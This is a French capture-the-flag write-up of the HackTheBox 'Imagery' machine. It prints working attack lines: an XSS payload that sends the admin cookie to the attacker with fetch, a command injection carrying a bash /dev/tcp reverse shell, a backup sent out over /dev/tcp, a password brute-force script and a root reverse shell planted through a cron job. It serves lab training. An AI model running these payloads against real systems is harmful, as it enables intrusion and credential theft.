Post

HTB - Imagery

HTB - Imagery

Résumé

Cette machine propose une application web Flask relativement simple, exposée sur un seul service HTTP non standard. La compromission repose sur une chaîne de vulnérabilités : une XSS stockée dans le formulaire de bug report, un abus de session administrateur, une LFI via le téléchargement de logs et une RCE via une mauvaise utilisation de subprocess dans une fonctionnalité de traitement d’image. L’élévation de privilèges repose ensuite sur l’analyse d’un backup chiffré et l’abus d’un binaire sudo mal configuré.

Reconnaissance

Nous commençons par identifier les ports ouverts sur la machine cible avec un scan rapide de tous les ports TCP :

1
2
┌──(root㉿kali)-[~/htb/imaginary]
└─# nmap -Pn -p- -T4 10.10.11.88
1
2
3
4
5
6
Nmap scan report for 10.10.11.88
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Nous poursuivons avec un scan plus approfondi :

1
2
┌──(root㉿kali)-[~/htb/imaginary]
└─# nmap -sC -sV -p22,8000 10.10.11.88
1
2
3
4
5
6
7
8
9
10
11
12
Nmap scan report for 10.10.11.88
Host is up (0.031s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • La machine cible est un Linux Ubuntu
  • Le port 22 expose un serveur OpenSSH
  • Le port 8000 expose un serveur web hébergé par Werkzeug de version 3.1.3 (Python 3.12.7)

Reconnaissance applicative

Nous accédons ensuite à http://10.10.11.88:8000. L’application permet de créer des comptes et d’uploader des images. Certaines fonctionnalités (édition d’image) sont visibles mais innacessibles par un utilisateur nouvellement créé.

L’énumération des endpoints avec gobuster n’a rien révélé et la recherche de CVE pour la version 3.1.3 de Werkzeug non plus. Nous concentrons donc notre analyse sur le code côté client.

L’application est une Single Page Application. L’ensemble du HTML est chargé dès l’accès initial et la navigation est gérée en JavaScript. Le code source contient toutes les différentes vues, y compris celle du dashboard de l’administrateur :

1
2
3
4
5
6
7
8
<div id="app-content">
    <div id="homePage" class="page-content">...</div>
    <div id="registerPage" class="page-content">...</div>
    <div id="loginPage" class="page-content">...</div>
    <div id="galleryPage" class="page-content">...</div>
    <div id="uploadPage" class="page-content">...</div>
    <div id="adminPanelPage" class="page-content">...</div>
</div>

Le panneau admin affiche notamment la liste des bug reports soumis par les utilisateurs :

1
2
3
4
5
6
<div id="adminPanelPage" class="page-content">
  <div>
    ...
    <div id="bug-reports-list" class="space-y-6"> </div>
  </div>
</div>

Cet affichage peut être une première faiblesse car si les données ne sont pas filtrées correctement, une XSS stockée est envisageable et permettra de récupérer le cookie de l’administrateur.

Identification de la faille XSS stockée

La fonction JavaScript associée à l’envoi des données du formulaire est :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
async function submitBugReport(event) 
{
  event.preventDefault();
  const bugName = document.getElementById("bugName").value.trim();
  const bugDetails = document.getElementById("bugDetails").value.trim();

  try {
      const response = await fetch(${window.location.origin}/report_bug, {
          method: "POST",
          headers: { "Content-Type": "application/json" },
          body: JSON.stringify({ bugName, bugDetails })
      });
      const data = await response.json();
      if (data.success) {
          showMessage(data.message, "success");
          document.getElementById("bugReportForm").reset();
          navigateTo("gallery");
      } else {
          showMessage(data.message, "error");
      }
  } catch (error) {
      console.error("Bug report submission error:", error);
      showMessage("An unexpected error occurred during bug report submission.", "error");
  }
}

Les données sont envoyées brutes avec fetch vers /report_bug sans aucune sanitisation côté client.

Côté administrateur, les rapports de bugs sont affichés via la fonction loadBugReports(). La majorité des champs sont protégés par DOMPurify.sanitize, sauf le contenu détaillé du bug :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div>
    <p class="text-sm text-gray-500 mb-2">Report ID: ${DOMPurify.sanitize(report.id)}</p>
    <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}</p>
    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>

    <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
        ${report.details}
    </div>
</div>

<button onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')" class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4">
    Delete
</button>
1
2
3
<div class="bg-gray-100 p-4 rounded-lg">
    ${report.details}
</div>

Le contenu est injecté directement dans le DOM, rendant l’application vulnérable à une XSS stockée.

Nous soumettons alors un bug contenant le payload suivant :

  • Bug Name: “Test”
  • Bug Details: <img src=x onerror="fetch('http://10.10.14.214:8080/cookie=' + document.cookie);">

La fonction submitBugReport envoie ce texte tel quel au serveur et lorsque l’administrateur se connecte et charge le panneau d’administration, la fonction loadBugReports récupère le texte contenu dans la partie Bug Details du formulaire puis l’injecte dans le HTML. Le navigateur voit la balise <img>, tente de charger l’image “x”, échoue, et exécute le code onerror (le JavaScript malveillant).

Exploitation de la faille XSS

Img1

Nous récupérons ainsi le cookie de session administrateur :

1
2
3
┌──(root㉿kali)-[~/htb/imaginary]
└─# nc -lnvp 8080
listening on [any] 8080 ...
1
GET /cookie=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aVlmhQ.MDFx0Cdsid1kioWmvsJQvumt3J0 HTTP/1.1

Ce qui nous permet d’accéder au dashboard administrateur.

Img1

Nous obtenons alors deux informations importantes :

  • un utilisateur existe sur le site et s’appelle testuser
  • il est possible de télécharger ses logs

LFI

Le premier réflexe est de tester si la fonctionnalité de téléchargement des logs est vulnérable à une LFI :

Img1

Ce champ est exploitable et nous permet notamment de lire /etc/passwd, révélant deux utilisateurs : mark et web.

  • mark
  • web

Sachant que l’application est écrite en Python, récupérer le code source est envisageable à travers la LFI. Nous pouvons chercher des fichiers se terminant par .py, tels que :

  • main.py
  • app.py
  • ../main.py
  • ../app.py

La dernière tentative fonctionne et nous permet d’analyser le fonctionnement interne de l’application.

Analyse du code et exfiltration de la base

À ce stade, nous savons que l’application possède forcément une base de données (de part la fonctionnalité de création d’utilisateurs) et nous avons accès son code source. Notre objectif premier est de chercher le PATH de la base de données et de l’exfiltrer afin de récupérer des credentials, par exemple. ../app.py contient plusieurs imports :

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

Le fichier config.py révèle l’emplacement de la base de données :

1
DATA_STORE_PATH = 'db.json'

Nous récupérons ce fichier et obtenons le hash du mot de passe de plusieurs utilisateurs :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"users": [
    {
        "username": "admin@imagery.htb",
        "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
        "isAdmin": true,
        "displayId": "a1b2c3d4",
        "login_attempts": 0,
        "isTestuser": false,
        "failed_login_attempts": 0,
        "locked_until": null
    },
    {
        "username": "testuser@imagery.htb",
        "password": "2c65c8d7bfbca32a3ed42596192384f6",
        "isAdmin": false,
        "displayId": "e5f6g7h8",
        "login_attempts": 0,
        "isTestuser": true,
        "failed_login_attempts": 0,
        "locked_until": null
    },
  ]
}

Avec hashcat et la wordlist rockyou, nous pouvons casser le mot de passe de testuser mais pas celui de admin :

1
2
3
┌──(root㉿kali)-[~/htb/imaginary]
└─# hashcat --show -m 0 
2c65c8d7bfbca32a3ed42596192384f6:iambatman

Ces identifiants ne fonctionnent pas en SSH mais nous permettent de se connecter à l’application web en tant que testuser.

Foothold – Command Injection

Pour obtenir un accès au serveur, nous énumérons dans le code de l’application un moyen d’obtenir un reverse shell ou d’upload un fichier php malveillant pour obtenir un accès au serveur.

Les bibliothèques python utilisées par l’app sont déjà une excellente information. Certaines sont capables d’interagir avec le système et peuvent nous permettre d’obtenir un reverse shell, par exemple : os, subprocess, pty, socket etc …

La librairie os est importée dans beaucoup de fichier python de l’application mais ne permet pas l’exécution de commandes. Une seule entrée dans api_edit.py avec l’import de subprocess et l’utilisation de subprocess.run(... shell=True) est vulnérable.

subprocess est utilisé dans le code de la route qui permet de modifier une image : @bp_edit.route('/apply_visual_transform', methods=['POST']) :

1
2
3
4
5
6
7
if transform_type == 'crop':
  x = str(params.get('x'))
  y = str(params.get('y'))
  width = str(params.get('width'))
  height = str(params.get('height'))
  command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
  subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

Puisque nous contrôlons les paramètres width, height, x et y, l’appel à subprocess.run est dangereux. La chaîne de caractère command est passé directement à un shell (on voit l’option shell=true) ce qui permet l’injection de commandes.

Pour exploiter cette faiblesse nous devons accéder à l’endpoint /apply_visual_transform. Il est accessible après cette condition :

1
2
3
4
5
6
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():

  """ <-- Condition à passer --> """
  if not session.get('is_testuser_account'):
    return jsonify({'success': False, 'message': 'Feature is still in development '}), 403

Nous pouvons accéder à cette page uniquement depuis l’utilisateur testuser. Or, nous avons déjà cassé le mot de passe de cet utilisateur (testuser@imagery.htb) au début de l’énumération.

Nous pouvons se connecter à cet utilisateur, utiliser la bonne option pour modifier l’image et injecter un reverse shell dans la commande envoyée au shell de subprocess.run(). Le contenu de la requête interceptée pour l’injection de code est celui-ci :

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /apply_visual_transform HTTP/1.1

{
    "imageId":"72872110-0953-464f-a537-665af1ae1553",
    "transformType":"crop",
    "params":
    {
        "x":0,
        "y":0,
        "width":768,
        "height":511
    }
}

La commande qui sera envoyée au shell est : command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}".

Dans la variable y, nous injectons :

12 /uploads/admin/transformed/pwned.png; bash -c 'bash -i >& /dev/tcp/10.10.14.102/4444 0>&1'; #

Pour que l’application exécute :

  • {IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+12 /uploads/admin/transformed/pwned.png; bash -c 'bash -i >& /dev/tcp/10.10.14.214/4444 0>&1'; #

Nous reçevons une connexion en tant que web et le foothold est obtenu :

1
2
web@Imagery:~/web$ whoami
web

Élévation de privilèges

Dans le répertoire /var/backup, une sauvegarde de l’application a été faite. Nous pouvons l’extraire pour l’analyser :

1
web@Imagery:/var/backup$ cat web_20250806_120723.zip.aes > /dev/tcp/10.10.14.102/1234

Nous pouvons faire un script pour casser le mot de passe du fichier chiffré mais pour cela, nous devons connaître l’outil qui a été utilisé pour le chiffrement. Nous observons l’en-tête du fichier :

1
2
3
┌──(env)(root㉿kali)-[~/htb/imaginary]
└─# head -c 100 web_20250806_120723.zip.aes
AESREATED_BYpyAesCrypt 6.1.1

Ceci révèle que le fichier a été chiffré avec pyAesCrypt. Nous pouvons désormais faire un script python à l’aide de pyAesCrypt pour bruteforcer le mot de passe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import pyAesCrypt
import sys
import os

if len(sys.argv) != 3:
    print("Usage: python3 decrypt.py <fichier.aes> <password_ou_wordlist>")
    print("\nExemples:")
    print("  python3 decrypt.py file.aes wordlist.txt")
    sys.exit(1)

encrypted_file = sys.argv[1]
password_or_wordlist = sys.argv[2]
output_file = encrypted_file.replace('.aes', '')

with open(password_or_wordlist, 'r', errors='ignore') as f:
    for i, line in enumerate(f, 1):
        pwd = line.strip()
        if not pwd:
            continue

        try:
            # Méthode utilisée : decryptFile
            pyAesCrypt.decryptFile(encrypted_file, output_file, pwd, 64*1024)
            print(f"\n[+] MOT DE PASSE TROUVÉ: {pwd}")
            print(f"[+] Fichier déchiffré: {output_file}")
            break
        except:
            pass
1
2
3
4
5
┌──(env)(root㉿kali)-[~/htb/imaginary]
└─# python3 crack.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt

[+] MOT DE PASSE TROUVÉ: bestfriends
[+] Fichier déchiffré: web_20250806_120723.zip

Le zip contient le backup du site et la base de données à date du moment de la sauvegarde. Nous y trouvons le mot de passe, chiffré, de mark :

1
2
3
4
5
6
7
8
9
{
    "username": "mark@imagery.htb",
    "password": "01c3d2e5bdaf6134cec0a367cf53e535",
    "displayId": "868facaf",
    "isAdmin": false,
    "failed_login_attempts": 0,
    "locked_until": null,
    "isTestuser": false
}

Ce hash MD5 se casse facilement et nous donne les credentials de mark : mark:supersmash. Nous pouvons désormais se connecter en tant que mark sur la machine :

1
2
3
4
5
6
web@Imagery:~/web$ su mark
su mark
Password: supersmash

id
uid=1002(mark) gid=1002(mark) groups=1002(mark)

Passage root

La session de mark dispose des droits sudo sans mot de passe sur /usr/local/bin/charcol :

1
2
3
4
5
6
7
8
9
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

En lançant le binaire, nous voyons qu’il est possible de lancer un shell charcol mais qui est protégé par un mot de passe. Cependant, il écrit explicitement que le flag -R ou --reset-password-to-default permet de le réinitialiser :

1
2
mark@Imagery:~$ sudo /usr/local/bin/charcol shell
[2026-01-07 18:37:49] [ERROR] Failed to provide a valid master passphrase after multiple attempts. Exiting application. If you forgot your master passphrase, please use the -R or --reset-password-to-default flag to reset the application password. (Error Code: CPD-001)

Une fois entré dans le shell, la seule option intéressante de Charcol dans notre contexte est celle qui permet de créer des crontabs. Dans le help message nous avons des exemples de commandes :

1
2
3
4
5
6
7
8
Automated Jobs (Cron):
    auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]

Examples:
- Status 2 (no app password), cron, unencrypted backup:
    CHARCOL_NON_INTERACTIVE=true charcol auto add \
    --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
    --name "Daily Docs Backup" --log-output <log_file_path>

Nous pouvons créer une tâche planifiée qui exécute un reverse shell :

1
charcol> auto add --schedule "* * * * *" --command "bash -c 'bash -i >& /dev/tcp/10.10.15.134/4445 0>&1'" --name "Pwned"

Nous reçevons une connexion root :

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/htb/imaginary]
└─# rlwrap nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.10.15.134] from (UNKNOWN) [10.10.11.88] 33092

root@Imagery:~# id
uid=0(root) gid=0(root) groups=0(root)

Conclusion

Une vulnérabilité côté application permet d’abord de compromettre une session administrateur via une XSS stockée. Cet accès est ensuite exploité pour lire des fichiers arbitraires, exfiltrer le code source et la base de données de l’application, puis obtenir un premier shell grâce à une injection de commandes dans une fonctionnalité d’édition d’image. L’élévation de privilèges repose enfin sur l’analyse d’un backup mal protégé et l’abus d’un binaire sudo personnalisé, conduisant à une exécution de commandes en tant que root.

Corrections à apporter

  • Sanitize toutes les entrées utilisateur côté serveur
  • Ne jamais utiliser shell=True avec des entrées contrôlées par les utilisateurs
  • Restreindre l’accès aux backups et les chiffrer avec des secrets robustes
  • Éviter les binaires sudo personnalisés ou les durcir fortement

Ressources utilisées

This post is licensed under CC BY 4.0 by the author.